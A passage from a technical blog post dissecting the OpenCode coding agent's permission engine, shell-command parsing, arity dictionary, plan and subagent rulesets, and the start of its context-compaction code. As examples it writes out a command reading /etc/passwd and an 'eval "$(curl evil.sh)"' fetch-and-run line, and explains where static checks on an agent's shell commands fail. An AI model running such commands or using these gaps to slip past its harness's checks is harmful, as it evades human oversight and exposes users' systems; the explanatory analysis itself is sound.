&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;edit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;            &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ask&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;   &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;bash&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;git status *&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;allow&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;bash&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;git push *&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deny&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the model runs &lt;code&gt;git status --short&lt;/code&gt;. The shell tool asks the evaluator about &lt;code&gt;("bash", "git status --short")&lt;/code&gt;, the second triple matches, and the call goes through without a prompt. &lt;code&gt;git push origin main&lt;/code&gt; hits the third triple and is refused. And &lt;code&gt;npm test&lt;/code&gt; matches nothing, so it falls to the default and you get asked.&lt;/p&gt;

&lt;p&gt;That's the entire policy engine. Everything else is about producing a good pattern to match against.&lt;/p&gt;

&lt;h3&gt;
  
  
  The ask lifecycle
&lt;/h3&gt;

&lt;p&gt;When evaluation lands on &lt;code&gt;ask&lt;/code&gt;, the tool call parks. &lt;code&gt;Permission.ask()&lt;/code&gt; creates a &lt;code&gt;Deferred&lt;/code&gt;, files it in a pending map keyed by request ID, publishes an event so the UI can draw a dialog, and awaits. The loop is now suspended on a promise that only a human can resolve.&lt;/p&gt;

&lt;p&gt;What happens next depends on how you answer. Answering &lt;code&gt;once&lt;/code&gt; resolves that one deferred and nothing else. Answering &lt;code&gt;always&lt;/code&gt; also pushes the request's patterns onto an approved ruleset, then walks every other pending request in the session and auto-approves any that now evaluate to &lt;code&gt;allow&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;pending&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sessionID&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;existing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sessionID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;every&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;evaluate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;approved&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;allow&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So approving &lt;code&gt;npm run dev&lt;/code&gt; once can clear a queue of three identical questions that piled up behind it. Rejection goes the other way and is deliberately blunt: rejecting one request fails every other pending request in that session, on the theory that if you just said no, the plan the model was executing is dead anyway.&lt;/p&gt;

&lt;p&gt;One more detail. Rejecting with a message does not raise a plain &lt;code&gt;RejectedError&lt;/code&gt;, it raises a &lt;code&gt;CorrectedError&lt;/code&gt; carrying your text as feedback, which the model reads as tool output. The permission dialog is a steering channel. "No, use the staging database" is both a refusal and an instruction, and the model gets both.&lt;/p&gt;

&lt;h3&gt;
  
  
  Turning a shell command into a pattern
&lt;/h3&gt;

&lt;p&gt;For the read tool, the pattern is easy: it's the file path. For the shell tool it's a genuinely hard problem, because one command line can do several unrelated things at once. &lt;code&gt;tool/shell.ts&lt;/code&gt; spends most of its 645 lines on it.&lt;/p&gt;

&lt;p&gt;Take this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ../../etc/passwd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm &lt;span class="nb"&gt;test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A naive harness asks you one vague question, "allow bash?", and whatever you answer covers both halves. Here's what OpenCode does instead.&lt;/p&gt;

&lt;p&gt;It starts by actually parsing the command, with the same tree-sitter grammars your editor uses for syntax highlighting (bash and PowerShell, compiled to WebAssembly). The parse splits the line into its two real commands, &lt;code&gt;cat ../../etc/passwd&lt;/code&gt; and &lt;code&gt;npm test&lt;/code&gt;, and from here each one is handled on its own.&lt;/p&gt;

&lt;p&gt;For each command, it asks two questions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does this command touch files?&lt;/strong&gt; There's a hardcoded list of commands that do: &lt;code&gt;rm&lt;/code&gt;, &lt;code&gt;cp&lt;/code&gt;, &lt;code&gt;mv&lt;/code&gt;, &lt;code&gt;mkdir&lt;/code&gt;, &lt;code&gt;touch&lt;/code&gt;, &lt;code&gt;chmod&lt;/code&gt;, &lt;code&gt;chown&lt;/code&gt;, &lt;code&gt;cat&lt;/code&gt;, plus the PowerShell and cmd.exe equivalents. &lt;code&gt;cat&lt;/code&gt; is on the list, so its argument gets the full treatment: strip the flags, unquote it, expand &lt;code&gt;~&lt;/code&gt; and &lt;code&gt;$HOME&lt;/code&gt;, and resolve it against the working directory. &lt;code&gt;../../etc/passwd&lt;/code&gt; resolves to &lt;code&gt;/etc/passwd&lt;/code&gt;, which is outside your workspace, and that escape turns into its own permission request, &lt;code&gt;external_directory&lt;/code&gt; for &lt;code&gt;/etc&lt;/code&gt;. &lt;code&gt;npm&lt;/code&gt; is not on the list, so it skips this step.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What pattern should represent it?&lt;/strong&gt; This is what gets matched against your ruleset, exactly like the &lt;code&gt;git status --short&lt;/code&gt; example above. Each command contributes its own pattern, so &lt;code&gt;npm test&lt;/code&gt; is evaluated as &lt;code&gt;npm test&lt;/code&gt;, not as part of some blob containing &lt;code&gt;cat&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The result is that one command line becomes two specific questions: "this wants to read &lt;code&gt;/etc&lt;/code&gt;, allow?" and "run &lt;code&gt;npm test&lt;/code&gt;?" You can say no to the first and yes to the second.&lt;/p&gt;

&lt;p&gt;There's one piece left. When you answer &lt;code&gt;always&lt;/code&gt;, the harness has to decide how much to remember: the exact command, or something broader? That generalization step gets its own file.&lt;/p&gt;

&lt;h3&gt;
  
  
  The arity dictionary
&lt;/h3&gt;

&lt;p&gt;The generalization step is &lt;code&gt;permission/arity.ts&lt;/code&gt;, and it's my favorite file in the repo. The problem: approving &lt;code&gt;npm test&lt;/code&gt; forever should not also approve &lt;code&gt;npm publish&lt;/code&gt;, but approving &lt;code&gt;git status&lt;/code&gt; probably should cover &lt;code&gt;git status --short&lt;/code&gt;. How many tokens of a command actually name the command?&lt;/p&gt;

&lt;p&gt;The answer is a lookup table of command-prefix arities. The saved pattern is always the first N tokens of the command plus a trailing &lt;code&gt;*&lt;/code&gt;; the arity is that N, and the &lt;code&gt;*&lt;/code&gt; only covers whatever trails after the cut. &lt;code&gt;git&lt;/code&gt; is 2, so &lt;code&gt;git checkout main&lt;/code&gt; generalizes to &lt;code&gt;git checkout *&lt;/code&gt;. Cut one token earlier and you'd save &lt;code&gt;git *&lt;/code&gt;, which silently pre-approves &lt;code&gt;git push --force&lt;/code&gt;. Don't cut at all and you'd save &lt;code&gt;git checkout main *&lt;/code&gt;, which doesn't even cover checking out a different branch. &lt;code&gt;npm&lt;/code&gt; is 2 but &lt;code&gt;npm run&lt;/code&gt; is 3, so &lt;code&gt;npm run dev&lt;/code&gt; becomes &lt;code&gt;npm run dev *&lt;/code&gt; rather than the far too permissive &lt;code&gt;npm run *&lt;/code&gt;. &lt;code&gt;ls&lt;/code&gt; is 1. &lt;code&gt;aws&lt;/code&gt; and &lt;code&gt;gcloud&lt;/code&gt; and &lt;code&gt;gh&lt;/code&gt; are 3, because their real verb is two levels deep. Roughly 140 entries, longest prefix wins:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;len&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;arity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ARITY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;len&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arity&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;arity&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the dictionary was written by a language model. The generation prompt is committed directly above it as a comment:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;You are generating a dictionary of command-prefix arities for bash-style commands. [...] Flags NEVER count as tokens. Only subcommands count. [...] Only include a longer prefix if its arity is different from what the shorter prefix already implies.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Every entry carries an example as a trailing comment, &lt;code&gt;"docker compose": 3, // docker compose up&lt;/code&gt;, because rule 5 of the prompt asked for one. A piece of security-adjacent policy that was tedious rather than hard, so somebody had a model write it and committed the receipt.&lt;/p&gt;

&lt;h3&gt;
  
  
  The trade being made
&lt;/h3&gt;

&lt;p&gt;All of this runs in the same process as the agent. Codex ships three OS sandboxes instead: Seatbelt on macOS, bubblewrap plus seccomp on Linux, and a Windows one. OpenCode has none, and every check above is a TypeScript function deciding whether to let a call through.&lt;/p&gt;

&lt;p&gt;What OpenCode built is good engineering, but it is static analysis of a shell command, and static analysis of shell commands is a game you cannot win outright. &lt;code&gt;eval "$(curl evil.sh)"&lt;/code&gt; parses as one harmless-looking command with no path arguments at all. The file knows this, which is why anything containing &lt;code&gt;$(&lt;/code&gt;, &lt;code&gt;${&lt;/code&gt; or a backtick is treated as dynamic and refuses to resolve to a path. Refusing to guess is the correct behavior and it still leaves the command running.&lt;/p&gt;

&lt;p&gt;Codex's answer to the same problem is to ask the kernel to make the write impossible, and the kernel does not care how clever your string is. One of these approaches degrades gracefully and one does not. OpenCode's compensation is a different subsystem entirely: the undo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Modes and subagents: mostly permission rulesets with prompts attached
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fmodes-tack-wall.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fmodes-tack-wall.jpg" title="Seven agents share one loop. What differs between them is the permission ruleset each one carries." alt="An antique engraved plate of a tack room wall hung with four complete harness sets for the same single horse, each cut differently: one full set with heavy blinders, one stripped down with no blinders, one with a closed padlock on its buckle, one small and plain. The horse waits unharnessed at the left while a hand lifts one set off its peg." width="800" height="474"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once you have a permission vocabulary this expressive, other features stop needing code. &lt;code&gt;agent/agent.ts&lt;/code&gt; defines seven built-in agents. You talk to &lt;code&gt;build&lt;/code&gt; and &lt;code&gt;plan&lt;/code&gt; directly, you can delegate to &lt;code&gt;general&lt;/code&gt; and &lt;code&gt;explore&lt;/code&gt;, and three are hidden from you entirely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;compaction&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;primary&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;hidden&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;PROMPT_COMPACTION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="nx"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Permission&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;defaults&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Permission&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromConfig&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deny&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;primary&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;hidden&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;temperature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;PROMPT_TITLE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="nx"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deny&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="nx"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;primary&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;hidden&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;PROMPT_SUMMARY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="nx"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deny&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The thing that summarizes your conversation when it overflows is an agent. So is the thing that names your session in the sidebar. They go through the same loop, the same provider layer and the same message store as your main session, and the only thing separating them from it is a ruleset denying every tool and a prompt of about 126 words.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;plan&lt;/code&gt; mode, which other tools implement as a special execution path, is here a ruleset too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deny&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;.opencode&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;plans&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*.md&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;allow&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Plan mode is "deny all edits, except into the plans directory." No mode flag threaded through the codebase, no branch in the executor. It falls out of a config object, which means you can build your own plan mode in &lt;code&gt;opencode.json&lt;/code&gt; without touching the source.&lt;/p&gt;

&lt;p&gt;The one piece of real machinery is &lt;code&gt;visibleTools()&lt;/code&gt;, which reads the ruleset and drops any tool whose blanket rule is &lt;code&gt;deny&lt;/code&gt; before the request is even assembled. &lt;code&gt;explore&lt;/code&gt; denies everything and re-allows seven read-only tools, so an explore subagent is not a model resisting the urge to edit files. It is a model that was never shown an edit tool.&lt;/p&gt;

&lt;h2&gt;
  
  
  Context management: what gets thrown away and when
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fcontext-compaction-press.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fcontext-compaction-press.jpg" title="Two ways to shed weight: clear the results of old tool calls, or summarize the whole conversation. The most recent turns are protected from both." alt="An antique engraved plate of a clerk's bench. A tall untidy heap of written sheets feeds into a heavy iron screw press, and a single thin folded booklet emerges from the other side, far smaller than the heap. A wicker basket on the floor holds crumpled sheets pulled from the heap before pressing, and a few of the newest sheets sit untouched on a stand." width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every turn appends to the conversation and nothing ever leaves on its own. Tool output is most of the weight: a grep across a large repo, a two-thousand-line file read, the log from a test run that failed. Sooner or later the next request will not fit in the model's window and something has to go. Deciding what is the whole subsystem, and it's the one place in a harness where a wrong answer is invisible. The model doesn't raise an error when you drop the thing it needed. It just quietly stops knowing it.&lt;/p&gt;

&lt;p&gt;Unusually for this kind of code, the entire policy is named constants at the top of one file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PRUNE_MINIMUM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;
